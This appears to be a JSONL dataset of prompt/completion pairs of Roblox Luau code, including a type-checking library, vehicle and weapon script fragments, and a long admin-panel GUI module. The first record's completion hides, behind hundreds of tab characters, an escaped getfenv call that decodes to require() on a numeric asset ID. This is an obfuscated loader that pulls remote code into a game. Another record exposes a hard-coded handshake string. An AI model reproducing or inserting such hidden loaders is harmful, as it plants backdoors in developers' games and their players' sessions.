\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgetfenv()['\\114\\101\\113\\117\\105\\114\\101'](4921021305)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"} +{"prompt": "--[[**\n\tensures value is an enum of the correct type\n\n\t@param enum The enum to check\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.enum(enum)\n\tassert(t.Enum(enum))\n\treturn function(value)\n\t\tlocal enumItemSuccess, enumItemErrMsg = t.EnumItem(value)\n\t\tif not enumItemSuccess then\n\t\t\treturn false, enumItemErrMsg\n\t\tend\n\n\t\tif value.EnumType == enum then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"enum of %s expected, got enum of %s\", tostring(enum), tostring(value.EnumType))\n\t\tend\n\tend\nend\n\ndo\n\tlocal checkWrap = t.tuple(t.callback, t.callback)\n\n\t--[[**\n\t\twraps a callback in an assert with checkArgs\n\n\t\t@param callback The function to wrap\n\t\t@param checkArgs The functon to use to check arguments in the assert\n\n\t\t@returns A function that first asserts using checkArgs and then calls callback\n\t**--]]\n\tfunction t.wrap(callback, checkArgs)\n\t\tassert(checkWrap(callback, checkArgs))\n\t\treturn function(...)\n\t\t\tassert(checkArgs(...))\n\t\t\treturn callback(...)\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Math", "completion": "\nlocal L_123_ = function(L_160_arg1, L_161_arg2, L_162_arg3)\n\tif L_160_arg1 > L_162_arg3 then\n\t\treturn L_162_arg3\n\telseif L_160_arg1 < L_161_arg2 then\n\t\treturn L_161_arg2\n\tend\n\treturn L_160_arg1\nend\n\nlocal L_124_ = L_112_.new(Vector3.new())\nL_124_.s = 30\nL_124_.d = 0.55\n\t\nlocal L_125_ = CFrame.Angles(0, 0, 0)\n"} +{"prompt": "-- services", "completion": "\n\nlocal Workspace\t\t= game:GetService(\"Workspace\")\nlocal Players\t\t= game:GetService(\"Players\")\nlocal TweenService\t= game:GetService(\"TweenService\")\nlocal Debris\t\t= game:GetService(\"Debris\")\n"} +{"prompt": "--ticks", "completion": "\nlocal equiptick\nlocal shoottick\nlocal delta\nlocal frametick = tick()\n"} +{"prompt": "-- Assign hotkeys for undoing (left or right shift + Z)", "completion": "\nAssignHotkey({ 'LeftShift', 'Z' }, History.Undo);\nAssignHotkey({ 'RightShift', 'Z' }, History.Undo);\n"} +{"prompt": "-- Remotes", "completion": "\nlocal remoteEvents = game:GetService(\"ReplicatedStorage\").Remotes.RemoteEvents\n"} +{"prompt": "--494sox @ //INSPARE", "completion": "\nlocal car = script.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal on = 0\n\nscript:WaitForChild(\"UpShiftSound\")\n\nfor i,v in pairs(car.DriveSeat:GetChildren()) do\n\tfor _,a in pairs(script:GetChildren()) do\n\t\tif v.Name==a.Name then v:Stop() wait() v:Destroy() end\n\tend\nend\nfor i,v in pairs(script:GetChildren()) do\n\tv.Parent=car.DriveSeat\nend\nfunction DealWithInput(input,IsRobloxFunction)\t\n\tif (input.KeyCode == Enum.KeyCode.E) and (script.Parent.Values.RPM.Value>=4500) and input.UserInputState == Enum.UserInputState.Begin then\n\t\tcar.DriveSeat.UpShiftSound:Play()\n\t\tcar.DriveSeat.Rev.Volume=3\n\t\twait(1.9)\n\t\tcar.DriveSeat.Rev.Volume=5\n\tend\t\nend\nUserInputService.InputBegan:connect(DealWithInput)\nUserInputService.InputChanged:connect(DealWithInput)\nUserInputService.InputEnded:connect(DealWithInput)\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------Create Function Begins---------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------------------------------\n--[[\nA \"Create\" function for easy creation of Roblox instances. The function accepts a string which is the classname of\nthe object to be created. The function then returns another function which either accepts accepts no arguments, in \nwhich case it simply creates an object of the given type, or a table argument that may contain several types of data, \nin which case it mutates the object in varying ways depending on the nature of the aggregate data. These are the\ntype of data and what operation each will perform:\n1) A string key mapping to some value:\n Key-Value pairs in this form will be treated as properties of the object, and will be assigned in NO PARTICULAR\n ORDER. If the order in which properties is assigned matter, then they must be assigned somewhere else than the\n |Create| call's body.\n\n2) An integral key mapping to another Instance:\n Normal numeric keys mapping to Instances will be treated as children if the object being created, and will be\n parented to it. This allows nice recursive calls to Create to create a whole hierarchy of objects without a\n need for temporary variables to store references to those objects.\n\n3) A key which is a value returned from Create.Event( eventname ), and a value which is a function function\n The Create.E( string ) function provides a limited way to connect to signals inside of a Create hierarchy \n for those who really want such a functionality. The name of the event whose name is passed to \n Create.E( string )\n\n4) A key which is the Create function itself, and a value which is a function\n The function will be run with the argument of the object itself after all other initialization of the object is \n done by create. This provides a way to do arbitrary things involving the object from withing the create \n hierarchy. \n Note: This function is called SYNCHRONOUSLY, that means that you should only so initialization in\n it, not stuff which requires waiting, as the Create call will block until it returns. While waiting in the \n constructor callback function is possible, it is probably not a good design choice.\n Note: Since the constructor function is called after all other initialization, a Create block cannot have two \n constructor functions, as it would not be possible to call both of them last, also, this would be unnecessary.\n\n\nSome example usages:\n\nA simple example which uses the Create function to create a model object and assign two of it's properties.\nlocal model = Create'Model'{\n Name = 'A New model',\n Parent = game.Workspace,\n}\n\n\nAn example where a larger hierarchy of object is made. After the call the hierarchy will look like this:\nModel_Container\n |-ObjectValue\n | |\n | `-BoolValueChild\n `-IntValue\n\nlocal model = Create'Model'{\n Name = 'Model_Container',\n Create'ObjectValue'{\n Create'BoolValue'{\n Name = 'BoolValueChild',\n },\n },\n Create'IntValue'{},\n}\n\n\nAn example using the event syntax:\n\nlocal part = Create'Part'{\n [Create.E'Touched'] = function(part)\n print(\"I was touched by \"..part.Name)\n end,\t\n}\n\n\nAn example using the general constructor syntax:\n\nlocal model = Create'Part'{\n [Create] = function(this)\n print(\"Constructor running!\")\n this.Name = GetGlobalFoosAndBars(this)\n end,\n}\n\n\nNote: It is also perfectly legal to save a reference to the function returned by a call Create, this will not cause\n any unexpected behavior. EG:\n local partCreatingFunction = Create'Part'\n local part = partCreatingFunction()\n]]", "completion": "\n"} +{"prompt": "-- the handshake is always \"@3ZCGdZ5#qtH2b_DBG7f2pj-d+nqa*mQ\"", "completion": "\n "} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\n\t--local client = service.GarbleTable(client)\n\tlocal Player = service.Players.LocalPlayer\n\tlocal Mouse = Player:GetMouse()\n\tlocal InputService = service.UserInputService\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\n\tlocal Event = gTable.BindEvent\n\tlocal GUI = gTable.Object\n\tlocal Name = data.Name\n\tlocal Icon = data.Icon\n\tlocal Size = data.Size\n\tlocal Menu = data.Menu\n\tlocal Title = data.Title\n\tlocal Ready = data.Ready\n\tlocal Walls = data.Walls\n\tlocal noHide = data.NoHide\n\tlocal noClose = data.NoClose\n\tlocal onReady = data.OnReady\n\tlocal onClose = data.OnClose\n\tlocal onResize = data.OnResize\n\tlocal onRefresh = data.OnRefresh\n\tlocal onMinimize = data.OnMinimize\n\tlocal ContextMenu = data.ContextMenu\n\tlocal ResetOnSpawn = data.ResetOnSpawn\n\tlocal CanKeepAlive = data.CanKeepAlive\n\tlocal iconClicked = data.IconClicked\n\tlocal SizeLocked = data.SizeLocked or data.SizeLock\n\tlocal CanvasSize = data.CanvasSize\n\tlocal Position = data.Position\n\tlocal Content = data.Content or data.Children\n\tlocal MinSize = data.MinSize or {150, 50}\n\tlocal MaxSize = data.MaxSize or {math.huge, math.huge}\n\tlocal curIcon = Mouse.Icon\n\tlocal isClosed = false\n\tlocal Resizing = false\n\tlocal Refreshing = false\n\tlocal DragEnabled = true\n\tlocal checkProperty = service.CheckProperty\n\tlocal specialInsts = {}\n\tlocal inExpandable\n\tlocal addTitleButton\n\tlocal LoadChildren\n\tlocal BringToFront\n\tlocal functionify\n\n\tlocal Drag = GUI.Drag\n\tlocal Close = Drag.Close\n\tlocal Hide = Drag.Hide\n\tlocal Iconf = Drag.Icon\n\tlocal Titlef = Drag.Title\n\tlocal Refresh = Drag.Refresh\n\tlocal rSpinner = Refresh.Spinner\n\tlocal Main = Drag.Main\n\tlocal Tooltip = GUI.Desc\n\tlocal ScrollFrame = GUI.Drag.Main.ScrollingFrame\n\tlocal LeftSizeIcon = Main.LeftResizeIcon\n\tlocal RightSizeIcon = Main.RightResizeIcon\n\tlocal RightCorner = Main.RightCorner\n\tlocal LeftCorner = Main.LeftCorner\n\tlocal RightSide = Main.RightSide\n\tlocal LeftSide = Main.LeftSide\n\tlocal TopRight = Main.TopRight\n\tlocal TopLeft = Main.TopLeft\n\tlocal Bottom = Main.Bottom\n\tlocal Top = Main.Top\n\n\tlocal function RippleEffect(element)\n\t\ttask.spawn(function()\n\t\t\telement.ClipsDescendants = true\n\t\t\tlocal effect = create(\"ImageLabel\", {\n\t\t\t\tParent = element,\n\t\t\t\tAnchorPoint = Vector2.new(0.5, 0.5),\n\t\t\t\tBorderSizePixel = 0,\n\t\t\t\tZIndex = element.ZIndex + 1,\n\t\t\t\tBackgroundTransparency = 0.5,\n\t\t\t\tImageTransparency = 0.8,\n\t\t\t\tImage = \"rbxasset://textures/whiteCircle.png\",\n\t\t\t\tPosition = UDim2.new(0.5, 0, 0.5, 0),\n\t\t\t})\n\t\t\teffect:TweenSize(UDim2.new(0, element.AbsoluteSize.X * 2.5, 0, element.AbsoluteSize.X * 2.5), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.2)\n\t\t\ttask.wait(0.2)\n\t\t\teffect:Destroy()\n\t\tend)\n\tend\n\n\tlocal clickSound = service.New(\"Sound\")\n\tclickSound.Parent = GUI.Drag\n\tclickSound.Volume = 0.4\n\tclickSound.SoundId = \"rbxassetid://6706935653\"\n\n\tMain.DescendantAdded:Connect(function(child)\n\t\tif child:IsA(\"TextButton\") and not child:FindFirstChildOfClass(\"UIGradient\") then\n\t\t\tlocal gradient = Instance.new(\"UIGradient\", child)\n\t\t\tgradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0,Color3.new(1,1,1)),ColorSequenceKeypoint.new(1,Color3.fromRGB(80,80,80))}\n\t\t\t--[[create(\"ImageLabel\", {\n\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\tImageTransparency = 0.5;\n\t\t\t\tImage = \"rbxassetid://456420746\"; -- For dusty Aero :]\n\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\tParent = child;\n\t\t\t\tZIndex = 2\n\t\t\t})]]\n\t\tend\n\tend)\n\n\tfunction Expand(ent, point, text)\n\t\tlocal label = point:FindFirstChild(\"Label\")\n\n\t\tif label then\n\t\t\tent.MouseLeave:Connect(function(x,y)\n\t\t\t\tif inExpandable == ent then\n\t\t\t\t\tpoint.Visible = false\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tent.MouseMoved:Connect(function(x,y)\n\t\t\t\tinExpandable = ent\n\t\t\t\tlabel.Text = text or ent.Desc.Value\n\t\t\t\t--point.Size = UDim2.new(0, 10000, 0, 10000)\n\t\t\t\tlocal newx = 500\n\t\t\t\tlocal bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X\n\t\t\t\tlocal rows = math.floor(bounds/500)\n\t\t\t\trows = rows+1\n\t\t\t\tif rows<1 then rows = 1 end\n\t\t\t\tif bounds<500 then newx = bounds end\n\t\t\t\tpoint.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)\n\t\t\t\tpoint.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))\n\t\t\t\tpoint.Visible = true\n\t\t\tend)\n\t\tend\n\tend\n\n\tfunction getNextPos(frame)\n\t\tlocal farXChild, farYChild\n\t\tfor i,v in frame:GetChildren() do\n\t\t\tif checkProperty(v, \"Size\") then\n\t\t\t\tif not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then\n\t\t\t\t\tfarXChild = v\n\t\t\t\tend\n\n\t\t\t\tif not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then\n\t\t\t\t\tfarYChild = v\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)\n\tend\n\n\tfunction LoadChildren(Obj, Children)\n\t\tif Children then\n\t\t\tlocal runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)\n\t\t\tfor class,data in Children do\n\t\t\t\tif type(data) == \"table\" then\n\t\t\t\t\tif not data.Parent then data.Parent = Obj end\n\t\t\t\t\tcreate(data.Class or data.ClassName or class, data)\n\t\t\t\telseif type(data) == \"function\" or type(data) == \"string\" and not runWhenDone then\n\t\t\t\t\trunWhenDone = functionify(data, Obj)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif runWhenDone then\n\t\t\t\trunWhenDone(Obj)\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction BringToFront()\n\t\tfor i,v in ipairs(Player.PlayerGui:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"__ADONIS_WINDOW\") then\n\t\t\t\tv.DisplayOrder = 100\n\t\t\tend\n\t\tend\n\n\t\tGUI.DisplayOrder = 101\n\tend\n\n\tfunction addTitleButton(data)\n\t\tlocal startPos = 1\n\t\tlocal realPos\n\t\tlocal new\n\t\tlocal original = Hide\n\n\t\tif Hide.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\n\t\tif Close.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\n\t\tif Refresh.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\n\t\trealPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 3)\n\t\tdata.Position = data.Position or realPos\n\t\tdata.Size = data.Size or original.Size\n\t\tdata.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3\n\t\tdata.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency\n\t\tdata.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel\n\t\tdata.ZIndex = data.ZIndex or original.ZIndex\n\t\tdata.TextColor3 = data.TextColor3 or original.TextColor3\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3\n\t\tdata.TextSize = data.TextSize or original.TextSize\n\t\tdata.TextTransparency = data.TextTransparency or original.TextTransparency\n\t\tdata.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextWrapped = data.TextWrapped or original.TextWrapped\n\t\t--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment\n\t\t--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment\n\t\tdata.Font = data.Font or original.Font\n\t\tdata.Parent = Drag\n\n\t\tlocal newTitleButton = create(\"TextButton\", data)\n\t\tcreate(\"UICorner\", {CornerRadius = UDim.new(0,4);Parent = newTitleButton})\n\n\t\tnewTitleButton.MouseButton1Down:Connect(function() RippleEffect(newTitleButton) end)\n\t\treturn newTitleButton\n\tend\n\n\tfunction functionify(func, object)\n\t\tif type(func) == \"string\" then\n\t\t\tif object then\n\t\t\t\tlocal env = GetEnv()\n\t\t\t\tenv.Object = object\n\t\t\t\treturn client.Core.LoadCode(func, env)\n\t\t\telse\n\t\t\t\treturn client.Core.LoadCode(func)\n\t\t\tend\n\t\telse\n\t\t\treturn func\n\t\tend\n\tend\n\n\tfunction create(class, dataFound, existing)\n\t\tlocal data = dataFound or {}\n\t\tlocal class = data.Class or data.ClassName or class\n\t\tlocal new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)\n\t\tlocal parent = data.Parent or new.Parent\n\n\t\tif dataFound then\n\t\t\tdata.Parent = nil\n\n\t\t\tif data.Class or data.ClassName then\n\t\t\t\tdata.Class = nil\n\t\t\t\tdata.ClassName = nil\n\t\t\tend\n\n\t\t\tif not data.BorderColor3 and checkProperty(new,\"BorderColor3\") then\n\t\t\t\tnew.BorderColor3 = dBorder\n\t\t\tend\n\n\t\t\tif not data.CanvasSize and checkProperty(new,\"CanvasSize\") then\n\t\t\t\tnew.CanvasSize = dCanvasSize\n\t\t\tend\n\n\t\t\tif not data.BorderSizePixel and checkProperty(new,\"BorderSizePixel\") then\n\t\t\t\tnew.BorderSizePixel = dPixelSize\n\t\t\tend\n\n\t\t\tif not data.BackgroundColor3 and checkProperty(new,\"BackgroundColor3\") then\n\t\t\t\tnew.BackgroundColor3 = dBackground\n\t\t\tend\n\n\t\t\tif not data.PlaceholderColor3 and checkProperty(new,\"PlaceholderColor3\") then\n\t\t\t\tnew.PlaceholderColor3 = dPlaceholderColor\n\t\t\tend\n\n\t\t\tif not data.Transparency and not data.BackgroundTransparency and checkProperty(new,\"Transparency\") then\n\t\t\t\tnew.BackgroundTransparency = dTransparency\n\t\t\telseif data.Transparency then\n\t\t\t\tnew.BackgroundTransparency = data.Transparency\n\t\t\tend\n\n\t\t\tif not data.TextColor3 and not data.TextColor and checkProperty(new,\"TextColor3\") then\n\t\t\t\tnew.TextColor3 = dTextColor\n\t\t\telseif data.TextColor then\n\t\t\t\tnew.TextColor3 = data.TextColor\n\t\t\tend\n\n\t\t\tif not data.Font and checkProperty(new, \"Font\") then\n\t\t\t\tdata.Font = dFont\n\t\t\tend\n\n\t\t\tif not data.TextSize and checkProperty(new, \"TextSize\") then\n\t\t\t\tdata.TextSize = dTextSize\n\t\t\tend\n\n\t\t\tif not data.BottomImage and not data.MidImage and not data.TopImage and class == \"ScrollingFrame\" then\n\t\t\t\tnew.BottomImage = dScrollImage\n\t\t\t\tnew.MidImage = dScrollImage\n\t\t\t\tnew.TopImage = dScrollImage\n\t\t\tend\n\n\t\t\tif not data.Size and checkProperty(new,\"Size\") then\n\t\t\t\tnew.Size = dSize\n\t\t\tend\n\n\t\t\tif not data.Position and checkProperty(new,\"Position\") then\n\t\t\t\tnew.Position = dPosition\n\t\t\tend\n\n\t\t\tif not data.ZIndex and checkProperty(new,\"ZIndex\") then\n\t\t\t\tnew.ZIndex = dZIndex\n\t\t\t\tif parent and checkProperty(parent, \"ZIndex\") then\n\t\t\t\t\tnew.ZIndex = parent.ZIndex\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.TextChanged and class == \"TextBox\" then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, new)\n\t\t\t\tnew.FocusLost:Connect(function(enterPressed)\n\t\t\t\t\ttextChanged(new.Text, enterPressed, new)\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tif (data.OnClicked or data.OnClick) and (class == \"TextButton\" or class == \"ImageButton\") then\n\t\t\t\tlocal debounce = false;\n\t\t\t\tlocal doDebounce = data.Debounce;\n\t\t\t\tlocal onClick = functionify((data.OnClicked or data.OnClick), new)\n\t\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not debounce then\n\t\t\t\t\t\tif doDebounce then\n\t\t\t\t\t\t\tdebounce = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tRippleEffect(new)\n\t\t\t\t\t\tonClick(new);\n\n\t\t\t\t\t\tdebounce = false;\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tif data.Events then\n\t\t\t\tfor event,func in data.Events do\n\t\t\t\t\tlocal realFunc = functionify(func, new)\n\t\t\t\t\tEvent(new[event], function(...)\n\t\t\t\t\t\trealFunc(...)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.Visible == nil then\n\t\t\t\tdata.Visible = true\n\t\t\tend\n\n\t\t\tif data.LabelProps then\n\t\t\t\tdata.LabelProperties = data.LabelProps\n\t\t\tend\n\t\tend\n\n\t\tif class == \"Entry\" then\n\t\t\tlocal label = new.Text\n\t\t\tlocal dots = new.Dots\n\t\t\tlocal desc = new.Desc\n\n\t\t\tlabel.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tdots.ZIndex = data.ZIndex or new.ZIndex\n\n\t\t\tif data.Text then\n\t\t\t\tnew.Text.Text = data.Text\n\t\t\t\tnew.Text.Visible = true\n\t\t\t\tdata.Text = nil\n\t\t\tend\n\n\t\t\tif data.Desc or data.ToolTip then\n\t\t\t\tnew.Desc.Value = data.Desc or data.ToolTip\n\t\t\t\tdata.Desc = nil\n\t\t\tend\n\n\t\t\tExpand(new, Tooltip)\n\t\telse\n\t\t\tif data.ToolTip then\n\t\t\t\tExpand(new, Tooltip, data.ToolTip)\n\t\t\tend\n\t\tend\n\n\t\tif class == \"ButtonEntry\" then\n\t\t\tlocal button = new.Button\n\t\t\tlocal debounce = false\n\t\t\tlocal onClicked = functionify(data.OnClicked, button)\n\n\t\t\tnew:SetSpecial(\"DoClick\",function()\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif onClicked then\n\t\t\t\t\t\tonClicked(button)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbutton.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tbutton.MouseButton1Down:Connect(function()\n\t\t\t\tclickSound:Play()\n\t\t\t\tRippleEffect(new)\n\t\t\t\tnew.DoClick()\n\t\t\tend)\n\t\tend\n\n\t\tif class == \"Boolean\" then\n\t\t\tlocal enabled = data.Enabled\n\t\t\tlocal debounce = false\n\t\t\tlocal onToggle = functionify(data.OnToggle, new)\n\t\t\tlocal function toggle(isEnabled)\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then\n\t\t\t\t\t\tenabled = false\n\t\t\t\t\t\tnew.Text = \"Disabled\"\n\t\t\t\t\telseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then\n\t\t\t\t\t\tenabled = true\n\t\t\t\t\t\tnew.Text = \"Enabled\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif onToggle then\n\t\t\t\t\t\tonToggle(enabled, new)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t--new.ZIndex = data.ZIndex\n\t\t\tnew.Text = (enabled and \"Enabled\") or \"Disabled\"\n\t\t\tnew.MouseButton1Down:Connect(function()\n\t\t\t\tif onToggle then\n\t\t\t\t\tclickSound:Play()\n\t\t\t\t\tRippleEffect(new)\n\t\t\t\t\ttoggle()\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"Toggle\",function(ignore, isEnabled) toggle(isEnabled) end)\n\t\tend\n\n\t\tif class == \"StringEntry\" then\n\t\t\tlocal box = new.Box\n\t\t\tlocal ignore\n\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbox.ZIndex = data.ZIndex or new.ZIndex\n\n\t\t\tif data.BoxText then\n\t\t\t\tbox.Text = data.BoxText\n\t\t\tend\n\n\t\t\tif data.BoxProperties then\n\t\t\t\tfor i,v in data.BoxProperties do\n\t\t\t\t\tif checkProperty(box, i) then\n\t\t\t\t\t\tbox[i] = v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif data.TextChanged then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, box)\n\t\t\t\tbox.Changed:Connect(function(p)\n\t\t\t\t\tif p == \"Text\" and not ignore then\n\t\t\t\t\t\ttextChanged(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tbox.FocusLost:Connect(function(enter)\n\t\t\t\t\tlocal change = textChanged(box.Text, true, enter)\n\t\t\t\t\tif change then\n\t\t\t\t\t\tignore = 